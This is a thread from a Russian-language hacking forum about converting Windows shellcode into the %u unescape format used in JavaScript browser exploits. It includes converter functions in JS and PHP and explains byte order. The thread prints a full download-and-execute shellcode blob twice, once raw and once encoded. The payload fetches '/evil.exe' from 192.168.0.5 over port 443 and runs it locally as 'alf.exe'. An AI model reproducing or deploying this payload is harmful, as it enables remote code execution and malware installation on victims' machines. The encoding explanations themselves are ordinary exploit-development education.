• XSS.stack #1 – первый литературный журнал от юзеров форума

Преобразование shellcode

zero_day

HDD-drive
Пользователь
Регистрация
15.01.2013
Сообщения
27
Реакции
0
Как преобразовать код вида
Код:
\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b
в вид
Код:
%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a
 
js
Код:
	function num2hex(num){
  var str = num.toString(16);
  var len = str.length;
  var ret = (len % 2) ? '0' + str : str;
  return ret;
	}

	function str2uni(str){
  var ret = '';
  for (var i = 0;i < str.length;i += 2){
  	ret += "%u";
  	ret += num2hex(str.charCodeAt(i + 1));
  	ret += num2hex(str.charCodeAt(i));
  }
  return ret;
	}
php
Код:
	function hexa($val,$min = 4) {
  $str = dechex($val);
  while (strlen($str) < $min)  $str = "0".$str;
  return $str;
	}

	function str2escape($str) {

  $ret = "";
  if (strlen($str) % 2) $str .= chr(0);
  for ($i = 0;$i < strlen($str);$i += 2) {
  	$ret .= "%u".hexa(ord($str[$i + 1]),2).hexa(ord($str[$i]),2);
  }
  return $ret;
	}
 
в $str, не? :)
а вообще если кодесы влом, то есть онлайн сервисы по рекодировке в любых направлениях... гуглите
 
Да это я что-то туплю...

Вопрос тогда такой результат обработки выше указанным скриптом примера
Код:
\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52
\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42
\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58
\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf
\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58
\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89
\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86
\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x89\xe6\x54\x68\x4c\x77\x26
\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x56\x68\x3a\x56\x79\xa7\xff\xd5\xeb
\x63\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xbb\x01\x00\x00\x53\x50\x68
\x57\x89\x9f\xc6\xff\xd5\xeb\x4f\x59\x31\xd2\x52\x68\x00\x32\xa0\x84\x52
\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x6a\x10\x5b\x68
\x80\x33\x00\x00\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff
\xd5\x31\xff\x57\x57\x57\x57\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75
\x1d\x4b\x0f\x84\x7a\x00\x00\x00\xeb\xd1\xe9\x89\x00\x00\x00\xe8\xac\xff
\xff\xff\x2f\x65\x76\x69\x6c\x2e\x65\x78\x65\x00\xeb\x6b\x31\xc0\x5f\x50
\x6a\x02\x6a\x02\x50\x6a\x02\x6a\x02\x57\x68\xda\xf6\xda\x4f\xff\xd5\x93
\x31\xc0\x66\xb8\x04\x03\x29\xc4\x54\x8d\x4c\x24\x08\x31\xc0\xb4\x03\x50
\x51\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\x2d\x58\x85\xc0\x74\x16
\x6a\x00\x54\x50\x8d\x44\x24\x0c\x50\x53\x68\x2d\x57\xae\x5b\xff\xd5\x83
\xec\x04\xeb\xce\x53\x68\xc6\x96\x87\x52\xff\xd5\x6a\x00\x57\x68\x31\x8b
\x6f\x87\xff\xd5\x6a\x00\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\x90\xff\xff\xff\x61\x6c
\x66\x2e\x65\x78\x65\x00\xe8\x0a\xff\xff\xff\x31\x39\x32\x2e\x31\x36\x38
\x2e\x30\x2e\x35\x00

Получается такой
Код:
%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52
%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02
%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b
%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49
%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03
%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c
%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58
%u8b5a%ueb12%u5d86%u6e68%u7465%u6800%u6977%u696e%ue689%u6854
%u774c%u0726%ud5ff%uff31%u5757%u5757%u6856%u563a%ua779%ud5ff
%u63eb%u315b%u51c9%u6a51%u5103%u6851%u01bb%u0000%u5053%u5768
%u9f89%uffc6%uebd5%u594f%ud231%u6852%u3200%u84a0%u5252%u5152
%u5052%ueb68%u2e55%uff3b%u89d5%u6ac6%u5b10%u8068%u0033%u8900
%u6ae0%u5004%u1f6a%u6856%u4675%u869e%ud5ff%uff31%u5757%u5757
%u6856%u062d%u7b18%ud5ff%uc085%u1d75%u0f4b%u7a84%u0000%ueb00
%ue9d1%u0089%u0000%uace8%uffff%u2fff%u7665%u6c69%u652e%u6578
%ueb00%u316b%u5fc0%u6a50%u6a02%u5002%u026a%u026a%u6857%uf6da
%u4fda%ud5ff%u3193%u66c0%u04b8%u2903%u54c4%u4c8d%u0824%uc031
%u03b4%u5150%u6856%u9612%ue289%ud5ff%uc085%u2d74%u8558%u74c0
%u6a16%u5400%u8d50%u2444%u500c%u6853%u572d%u5bae%ud5ff%uec83
%ueb04%u53ce%uc668%u8796%uff52%u6ad5%u5700%u3168%u6f8b%uff8
7%u6ad5%u6800%ub5f0%u56a2%ud5ff%u90e8%uffff%u61ff%u666c%u652e
%u6578%ue800%uff0a%uffff%u3931%u2e32%u3631%u2e38%u2e30%u0035

А например на сервисе http://www.codenet.ru/services/urlencode-urldecode/

Результат такой
Код:
%5Cxfc%5Cxe8%5Cx89%5Cx00%5Cx00%5Cx00%5Cx60%5Cx89%5Cxe5
%5Cx31%5Cxd2%5Cx64%5Cx8b%5Cx52%5Cx30%5Cx8b%5Cx52%5Cx0c
%5Cx8b%5Cx52%5Cx14%5Cx8b%5Cx72%5Cx28%5Cx0f%5Cxb7%5Cx4a
%5Cx26%5Cx31%5Cxff%5Cx31%5Cxc0%5Cxac%5Cx3c%5Cx61%5Cx7c%5Cx02
%5Cx2c%5Cx20%5Cxc1%5Cxcf%5Cx0d%5Cx01%5Cxc7%5Cxe2%5Cxf0%5Cx52
%5Cx57%5Cx8b%5Cx52%5Cx10%5Cx8b%5Cx42%5Cx3c%5Cx01%5Cxd0
%5Cx8b%5Cx40%5Cx78%5Cx85%5Cxc0%5Cx74%5Cx4a%5Cx01%5Cxd0
%5Cx50%5Cx8b%5Cx48%5Cx18%5Cx8b%5Cx58%5Cx20%5Cx01%5Cxd3
%5Cxe3%5Cx3c%5Cx49%5Cx8b%5Cx34%5Cx8b%5Cx01%5Cxd6%5Cx31%5Cxff
%5Cx31%5Cxc0%5Cxac%5Cxc1%5Cxcf%5Cx0d%5Cx01%5Cxc7%5Cx38%5Cxe0
%5Cx75%5Cxf4%5Cx03%5Cx7d%5Cxf8%5Cx3b%5Cx7d%5Cx24%5Cx75%5Cxe2
%5Cx58%5Cx8b%5Cx58%5Cx24%5Cx01%5Cxd3%5Cx66%5Cx8b%5Cx0c%5Cx4b%5Cx8b%5Cx58%5Cx1c%5Cx01%5Cxd3%5Cx8b%5Cx04%5Cx8b%5Cx01%5Cxd0%5Cx89%5Cx44%5Cx24%5Cx24%5Cx5b%5Cx5b%5Cx61%5Cx59%5Cx5a%5Cx51%5Cxff%5Cxe0%5Cx58%5Cx5f%5Cx5a%5Cx8b%5Cx12%5Cxeb%5Cx86%5Cx5d
%5Cx68%5Cx6e%5Cx65%5Cx74%5Cx00%5Cx68%5Cx77%5Cx69%5Cx6e%5Cx69%5Cx89%5Cxe6%5Cx54%5Cx68%5Cx4c%5Cx77%5Cx26%5Cx07%5Cxff%5Cxd5
%5Cx31%5Cxff%5Cx57%5Cx57%5Cx57%5Cx57%5Cx56%5Cx68%5Cx3a%5Cx56
%5Cx79%5Cxa7%5Cxff%5Cxd5%5Cxeb%5Cx63%5Cx5b%5Cx31%5Cxc9%5Cx51
%5Cx51%5Cx6a%5Cx03%5Cx51%5Cx51%5Cx68%5Cxbb%5Cx01%5Cx00%5Cx00%5Cx53%5Cx50%5Cx68%5Cx57%5Cx89%5Cx9f%5Cxc6%5Cxff%5Cxd5%5Cxeb
%5Cx4f%5Cx59%5Cx31%5Cxd2%5Cx52%5Cx68%5Cx00%5Cx32%5Cxa0%5Cx84%5Cx52%5Cx52%5Cx52%5Cx51%5Cx52%5Cx50%5Cx68%5Cxeb%5Cx55
%5Cx2e%5Cx3b%5Cxff%5Cxd5%5Cx89%5Cxc6%5Cx6a%5Cx10%5Cx5b%5Cx68
%5Cx80%5Cx33%5Cx00%5Cx00%5Cx89%5Cxe0%5Cx6a%5Cx04%5Cx50%5Cx6a%5Cx1f%5Cx56%5Cx68%5Cx75%5Cx46%5Cx9e%5Cx86%5Cxff%5Cxd5%5Cx31
%5Cxff%5Cx57%5Cx57%5Cx57%5Cx57%5Cx56%5Cx68%5Cx2d%5Cx06%5Cx18
%5Cx7b%5Cxff%5Cxd5%5Cx85%5Cxc0%5Cx75%5Cx1d%5Cx4b%5Cx0f%5Cx84
%5Cx7a%5Cx00%5Cx00%5Cx00%5Cxeb%5Cxd1%5Cxe9%5Cx89%5Cx00%5Cx00%5Cx00%5Cxe8%5Cxac%5Cxff%5Cxff%5Cxff%5Cx2f%5Cx65%5Cx76%5Cx69
%5Cx6c%5Cx2e%5Cx65%5Cx78%5Cx65%5Cx00%5Cxeb%5Cx6b%5Cx31
%5Cxc0%5Cx5f%5Cx50%5Cx6a%5Cx02%5Cx6a%5Cx02%5Cx50%5Cx6a%5Cx02%5Cx6a%5Cx02%5Cx57%5Cx68%5Cxda%5Cxf6%5Cxda%5Cx4f%5Cxff%5Cxd5
%5Cx93%5Cx31%5Cxc0%5Cx66%5Cxb8%5Cx04%5Cx03%5Cx29%5Cxc4%5Cx54%5Cx8d%5Cx4c%5Cx24%5Cx08%5Cx31%5Cxc0%5Cxb4%5Cx03%5Cx50%5Cx51%5Cx56%5Cx68%5Cx12%5Cx96%5Cx89%5Cxe2%5Cxff%5Cxd5%5Cx85%5Cxc0
%5Cx74%5Cx2d%5Cx58%5Cx85%5Cxc0%5Cx74%5Cx16%5Cx6a%5Cx00
%5Cx54%5Cx50%5Cx8d%5Cx44%5Cx24%5Cx0c%5Cx50%5Cx53%5Cx68
%5Cx2d%5Cx57%5Cxae%5Cx5b%5Cxff%5Cxd5%5Cx83%5Cxec%5Cx04%5Cxeb
%5Cxce%5Cx53%5Cx68%5Cxc6%5Cx96%5Cx87%5Cx52%5Cxff%5Cxd5%5Cx6a
%5Cx00%5Cx57%5Cx68%5Cx31%5Cx8b%5Cx6f%5Cx87%5Cxff%5Cxd5%5Cx6a
%5Cx00%5Cx68%5Cxf0%5Cxb5%5Cxa2%5Cx56%5Cxff%5Cxd5%5Cxe8%5Cx90
%5Cxff%5Cxff%5Cxff%5Cx61%5Cx6c%5Cx66%5Cx2e%5Cx65%5Cx78%5Cx65
%5Cx00%5Cxe8%5Cx0a%5Cxff%5Cxff%5Cxff%5Cx31%5Cx39%5Cx32%5Cx2e
%5Cx31%5Cx36%5Cx38%5Cx2e%5Cx30%5Cx2e%5Cx35%5Cx00

И где истина?
 
есть два байта "\xfc\xe8" при urlencode, получается "%5Cxfc%5Cxe8" тут символ '\' заменили на %5c просто избавились от 'плохого' символа, если бы это был урл

в эксплоитах же смысл использования функции unescape в том, что в памяти js строка имеет unicode формат и скажем "AB" выглядит так "\x41\x00\x42\x00", каждый символ два байта. дабы записать шелкод в память непрерывно без этих нулей юзают unescape("%u4241")

Добавлено в [time]1361440988[/time]
почитайте это https://www.corelan.be/index.php/2011/12/31...ified/#Unescape да и вообще весь цикл статей будет полезен для начинающих
 
zero_day
потому что в x86 архитектуре младший байт идет по младшему адресу в памяти, те если в памяти у тебя лежит два байта 0x01 0x02 и ты читаешь слово (2 байта за раз) в регистр, то в регистре у тебя будет 0x0201, поэтому и переставляют местами, чтобы после записи в память все было как надо.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх